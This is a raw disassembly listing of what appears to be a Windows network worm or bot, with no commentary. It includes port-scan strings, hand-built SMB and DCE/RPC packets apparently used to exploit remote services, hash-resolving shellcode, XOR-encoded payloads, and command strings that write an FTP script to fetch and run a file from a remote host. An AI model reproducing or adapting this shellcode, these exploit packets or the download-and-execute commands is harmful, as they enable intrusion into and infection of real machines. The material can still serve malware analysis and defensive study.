off_4455E0	dd offset dword_612D20	; DATA XREF: sub_422B40+737o
					; sub_422B40+7A3o ...
dword_4455E4	dd 722D20h						; sub_422B40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422B40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422B40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422B40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422B40+6Do
		align 4
		dd 0
dword_4456DC	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423C25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
					; ___:off_447670o
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423DD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004242B7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424206o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042414Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424920+BDo
		align 10h
dword_4458A0	dd 10FF8h, 0	dword_4458A8	dd 10FF8h	dword_4458AC	dd 7FFDF020h, 0	dword_4458B4	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44593C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_44596C	dd 0		dword_445970	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_445978	proc near		; DATA XREF: sub_425100+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_445A74
		push	dword ptr [esi]
		push	63D61209h
		call	sub_445A8A
		mov	[esi+8], eax
		call	sub_445A3D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_445A8A
		mov	[esi+0Ch], eax
		call	sub_4459EF
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_445A8A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_445978	endp


; =============== S U B	R O U T	I N E =======================================



sub_4459EF	proc near		; CODE XREF: sub_445978+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_445A18
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4459EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A18	proc near		; CODE XREF: sub_4459EF+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_445A27:				; CODE XREF: sub_445A18+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_445A34
		inc	ebx
		jmp	short loc_445A27
; ---------------------------------------------------------------------------


loc_445A34:				; CODE XREF: sub_445A18+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_445A18	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A3D	proc near		; CODE XREF: sub_445978+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_445A55:				; CODE XREF: sub_445A3D+1Ej
		cmp	[ecx], ebx
		jz	short loc_445A5D
		mov	ecx, [ecx]
		jmp	short loc_445A55
; ---------------------------------------------------------------------------


loc_445A5D:				; CODE XREF: sub_445A3D+1Aj
		mov	edx, edi


loc_445A5F:				; CODE XREF: sub_445A3D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_445A69
		mov	edx, [edx+4]
		jmp	short loc_445A5F
; ---------------------------------------------------------------------------


loc_445A69:				; CODE XREF: sub_445A3D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_445A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A74	proc near		; CODE XREF: sub_445978+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_445A74	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A8A	proc near		; CODE XREF: sub_445978+16p
					; sub_445978+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_445AA0:				; CODE XREF: sub_445A8A+33j
		jecxz	short loc_445ADA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_445AAD:				; CODE XREF: sub_445A8A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_445AB9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_445AAD
; ---------------------------------------------------------------------------


loc_445AB9:				; CODE XREF: sub_445A8A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_445AA0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_445ADA:				; CODE XREF: sub_445A8A:loc_445AA0j
					; sub_445A8A:loc_445ADAj
		jmp	short loc_445ADA
sub_445A8A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445AE0	proc near		; DATA XREF: sub_425100+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_445B32
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_445AFD:				; CODE XREF: sub_445AE0+38j
		jecxz	short loc_445B2D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_445B08:				; CODE XREF: sub_445AE0+32j
		lodsb
		test	al, al
		jz	short loc_445B14
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_445B08
; ---------------------------------------------------------------------------


loc_445B14:				; CODE XREF: sub_445AE0+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_445AFD
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_445B2D:				; CODE XREF: sub_445AE0:loc_445AFDj
		mov	[esp+arg_0], ebx
		retn
sub_445AE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_445B32	proc near		; CODE XREF: sub_445AE0+7p

; FUNCTION CHUNK AT 00445B6A SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_445B4B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_445B56
; ---------------------------------------------------------------------------


loc_445B4B:				; CODE XREF: sub_445B32+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_445B56:				; CODE XREF: sub_445B32+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_445B6A
sub_445B32	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445B5D	proc near		; CODE XREF: sub_445B32:loc_445B6Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_445B5D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B32


loc_445B6A:				; CODE XREF: sub_445B32+29j
		call	sub_445B5D
; END OF FUNCTION CHUNK	FOR sub_445B32
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_445C04	dd 23h		dword_445C08	dd 60h		dword_445C0C	dd 62B0606h, 2050501h, 0A0hdword_445C18	dd 0A1h		dword_445C1C	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424920+16Do
		align 4


loc_445C28:				; DATA XREF: sub_424920+100o
		jmp	short near ptr dword_445C30
; ---------------------------------------------------------------------------
		align 10h
dword_445C30	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425100+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_445CEA

; =============== S U B	R O U T	I N E =======================================



sub_445CDA	proc far		; CODE XREF: sub_445CDA:loc_445CEAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_445CE2:				; CODE XREF: sub_445CDA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_445CE2
		jmp	short loc_445CEF
; ---------------------------------------------------------------------------


loc_445CEA:				; CODE XREF: ___:00445CD8j
		call	near ptr sub_445CDA


loc_445CEF:				; CODE XREF: sub_445CDA+Ej
		jo	short loc_445D53
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_445D71
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_445D53:				; CODE XREF: sub_445CDA:loc_445CEFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_445D71:				; CODE XREF: sub_445CDA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_445CDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_445E18:				; DATA XREF: sub_4257F0+12Bo
					; sub_4257F0+135o ...
		jmp	short loc_445E2A

; =============== S U B	R O U T	I N E =======================================



sub_445E1A	proc near		; CODE XREF: sub_445E1A:loc_445E2Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_445E22:				; CODE XREF: sub_445E1A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_445E22
		jmp	short loc_445E2F
; ---------------------------------------------------------------------------


loc_445E2A:				; CODE XREF: ___:loc_445E18j
		call	sub_445E1A


loc_445E2F:				; CODE XREF: sub_445E1A+Ej
		jo	short near ptr dword_445DA8+1Eh
		cwde
		cdq
		cdq
		retn
sub_445E1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_445EC8	dw 4B9Dh		; DATA XREF: sub_4257F0+105w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_445FB0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:00425E52o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44603C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425E87o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_4460E8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425EB6o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4461C8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+5Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
		db 43h,	0, 24h
dword_44621F	dd 3F000000h	dword_446223	dd 3F3F3F3Fh	byte_446227	db 0			; DATA XREF: sub_4257F0+B4r
		dd 0
dword_44622C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2C2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_446298	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2F5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44633C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+3FAo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4463BC	dd offset sub_401492+3	; DATA XREF: sub_4257F0+42Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_446450	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+335o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4464BC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+368o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446530	dd 0				dd offset byte_40A893+7
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_40A893+7
		dd 1, 0
		dd 1, 0
		dd offset byte_40A893+7
		dd 1, 0
		dd 1, 0
		dd offset byte_40A893+7
		dd 1, 0
		dd 1, 3	dup(0)
dword_4465BC	dd 1004600h						; sub_4257F0+24Fr
		dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467A4	dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat	db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
		align 4
		dd 0
aEchoDelFC_batC	db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
		align 10h
aEchoDel_pifC_b	db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
		dd 0
aEchoSC_bat	db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
		align 10h
		dd 0
aEchoFtpNVS_pif	db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
		align 4
		dd 0
aEcho@echoOffC_	db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
		align 8
aEchoBye_pif	db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
		align 10h
aEchoGetS_pif	db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
		align 4
		dd 0
aEchoBinary_pif	db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
		align 8
aEchoUserAA_pif	db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
		align 10h
		dd 0
aEchoOpenSD_pif	db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
		align 10h
dword_4468F0	dd 6EB06EBh			align 8
dword_4468F8	dd 73255C5Ch, 6370695Ch, 24h					; ___:00426352o
dword_446904	dd 1CEC8166h	dword_446908	dd 0E4FF07h			align 10h
dword_446910	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44695C	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_44698C	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_4469AC	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_4469B6:				; CODE XREF: ___:004469C0j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_4469B6
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs	db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
					; DATA XREF: sub_426070+D6o
		db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 4
		dd 6 dup(0)
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
		align 8
word_446C18	dw 2EBh			; DATA XREF: ___:00426331r
		align 4
dword_446C1C	dd 215h				dd 0
dword_446C24	dd 20804h			dd 0
; ---------------------------------------------------------------------------


loc_446C2C:				; DATA XREF: sub_4267D0+CCo
		jmp	short loc_446C30
; ---------------------------------------------------------------------------


loc_446C2E:				; CODE XREF: ___:loc_446C30p
		jmp	short loc_446C35
; ---------------------------------------------------------------------------


loc_446C30:				; CODE XREF: ___:loc_446C2Cj
		call	loc_446C2E


loc_446C35:				; CODE XREF: ___:loc_446C2Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_446C3A	dw 0FFFFh		; DATA XREF: sub_4267D0+D3w
		db 80h,	73h, 0Eh
byte_446C3F	db 0FFh			; DATA XREF: sub_4267D0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_446C44:				; DATA XREF: sub_4267D0+A7o
		jmp	short loc_446C48
; ---------------------------------------------------------------------------


loc_446C46:				; CODE XREF: ___:loc_446C48p
		jmp	short loc_446C4D
; ---------------------------------------------------------------------------


loc_446C48:				; CODE XREF: ___:loc_446C44j
		call	loc_446C46


loc_446C4D:				; CODE XREF: ___:loc_446C46j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_446C51	db 0FFh			; DATA XREF: sub_4267D0+AEw
		dw 7380h
		db 0Ch
byte_446C55	db 0FFh			; DATA XREF: sub_4267D0+B4w
		dw 0E243h
		dd 0F9h
dword_446C5C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_426560+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CC0	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_446CD0	dd 74656720h	byte_446CD4	db 20h			; DATA XREF: sub_426560+A2r
dword_446CD5	dd 0E8006A00h	dword_446CD9	dd 17h							; sub_426560+D2r
dword_446CDD	dd 0E8C30175h	dword_446CE1	dd 1							; sub_426560+E7r
